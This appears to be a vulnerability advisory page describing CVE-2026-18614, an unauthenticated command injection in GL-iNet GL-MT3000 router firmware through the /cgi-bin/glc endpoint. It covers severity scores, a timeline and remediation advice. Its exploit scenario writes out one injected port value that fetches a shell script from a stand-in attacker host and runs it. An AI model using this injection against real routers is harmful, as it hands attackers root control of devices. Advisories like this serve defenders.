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GL-iNet GL-MT3000 CVE-2026-18614

| EUVDEUVD-2026-52400 HIGH
Command Injection (CWE-77)
2026-08-03 VulDB GHSA-r4vc-wqp8-j499
Command Injection Gl Mt3000
8.9
CVSS 4.0 · Vendor: VulDB
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Severity by source

Vendor (VulDB) PRIMARY
8.9 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
9.8 CRITICAL

Network-accessible CGI endpoint requires no authentication; full command execution yields high C/I/A impact; scope unchanged as exploitation is confined to the router itself.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

6
Analysis Updated
Aug 03, 2026 - 19:32 vuln.today
v2 (cvss_changed)
Re-analysis Queued
Aug 03, 2026 - 19:22 vuln.today
cvss_changed
Severity Changed
Aug 03, 2026 - 19:22 NVD
CRITICAL HIGH
CVSS changed
Aug 03, 2026 - 19:22 NVD
9.3 (CRITICAL) 8.9 (HIGH)
Analysis Generated
Aug 03, 2026 - 19:00 vuln.today
CVE Published
Aug 03, 2026 - 18:00 cve.org
CRITICAL 9.3

DescriptionCVE.org

A vulnerability was found in GL-iNet GL-MT3000 up to 4.4.5. Impacted is the function s2s.enable_echo_server of the file /cgi-bin/glc of the component s2s.so Native Plugin. Performing a manipulation of the argument port results in command injection. The attack may be initiated remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure and confirmed the existence of the vulnerability.

AnalysisAI

Unauthenticated remote command injection in GL-iNet GL-MT3000 firmware (versions 4.4.0 through 4.4.5) allows network-adjacent or remote attackers to execute arbitrary OS commands by sending a crafted request to the /cgi-bin/glc CGI endpoint with a manipulated port argument passed to the s2s.enable_echo_server function. The vendor has confirmed the vulnerability, the CVSS 4.0 base score is 8.9 with full high-impact ratings across confidentiality, integrity, and availability, and a public proof-of-concept exploit is available on GitHub, materially lowering the exploitation bar. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Identify GL-MT3000 management interface on network
Delivery
Send HTTP request to /cgi-bin/glc with malicious port value
Exploit
s2s.enable_echo_server passes unsanitized input to shell
Execution
Injected OS command executes on router
Impact
Attain full router control as privileged user
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Vulnerability AssessmentAI

Exploitation The /cgi-bin/glc endpoint must be reachable by the attacker over the network - exploitation is highest risk when the GL-MT3000 management interface is exposed to the WAN (internet-facing remote management enabled), but LAN-local exploitation is equally viable since no authentication is required per CVSS PR:N. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment All available signals converge on a high-priority rating. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker who can reach the GL-MT3000 management interface - either from the LAN or from the internet if remote management is enabled - sends a crafted HTTP POST or GET request to /cgi-bin/glc with a port parameter value containing shell metacharacters such as '; curl http://attacker.com/shell.sh | sh ;'. The s2s.enable_echo_server function passes this value unsanitized to a system command, executing the injected payload with the privileges of the web server process, which on embedded routers typically runs as root. …
Remediation No vendor-released patched firmware version has been identified in the available references at time of analysis - the vendor confirmed the vulnerability's existence but a specific fixed release has not been independently verified. … Detailed patch versions, workarounds, and compensating controls in full report.
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Recommended ActionAI

Within 24 hours, scan all network infrastructure for GL-iNet GL-MT3000 devices and verify firmware versions; immediately isolate or air-gap any units running versions 4.4.0 through 4.4.5 from production networks. …

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CVE-2026-18614 vulnerability details – vuln.today
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